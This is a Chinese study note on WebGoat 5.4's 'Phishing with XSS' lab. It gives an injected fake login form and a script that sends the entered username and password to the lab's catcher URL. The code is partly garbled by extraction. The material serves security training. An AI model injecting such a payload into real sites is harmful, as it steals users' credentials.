WebGoat笔记九_跨站脚本攻击(Cross-Site Scripting (XSS)).pdf
文本预览下载声明
WebGoat 学习笔记九
WebGoat 学习笔记九
—跨站脚本攻击(Cross-Site Scripting (XSS))
瞿靖东 2015/11/ 10
版本号:WebGoat 5.4
1、使用XSS 钓鱼(Phishing with XSS)
技术概念或主题(Concept / Topic To Teach)
在服务端对所有输入进行验证总是不错的做法。当用户输入非法HTTP 响应时容易造成
XSS 。在XSS 的帮助下,你可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来
说很难发现该内容是否存在威胁。
技术原理(How It works )
HTML 文档内容很容易篡改的,如果你有权限操作页面源代码。
总体目标(General Goals )
创 建 一 个 form , 要 求 填 写 用 户 名 和 密 码 。 将 数 据 提 交 到
http://localhost/WebGoat/catcher?PROPERTY=yesuser=catchedUserNamepassword=catched
PasswordNam
操作方法(Solutions)
利用XSS 可以在已存在的页面中进一步添加元素。该解决方案包括两部分,你需要结合
起来使用:
受害人填写一个表格;
以读取脚本的形式,将收集到的信息发送给攻击者。
一个带用户名和密码输入框的表格如下:
form
brbrHRH3This feature requires account login:/H3 brbr
Enter Username:brinput type=text id=user name=userbr
Enter Password:brinput type=password name=passbr
/formbrbrHR
WebGoat 学习笔记九
搜索这段代码,你就能看到页面中增加了一个表单。
现在你需要一段脚本:
script
function hack()
{alert(Had this been a real attack... Your credentials were just stolen. User Name=”+
document.form.user.value+Password=”+document.form.pass.value); XSSlmage=new
Image (); XSSlmage.src=http://localhost/WebGoat/catcher?PROPERTY=yesuser=+
document.form.user.value+password=+document.form.pass.value+””;
}
/script
这段代码会读取你在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息
的WebGoat.
最后,就是要将这两段代码合并。最终需要输入的代码如下:
scriptfunction hack(){ alert(Had this been a real attack... Your credentials were just stolen. User
Name = + document.forms[1].user.value + Password = + document.forms[1].pass.value);
XSSImage=new Image();
XSSImage.src=http://localhost/WebGoat/catcher?PROPERTY=yesuser=+document.forms[1].u
ser.value + password= + document.forms[1].pass.value + ;}
显示全部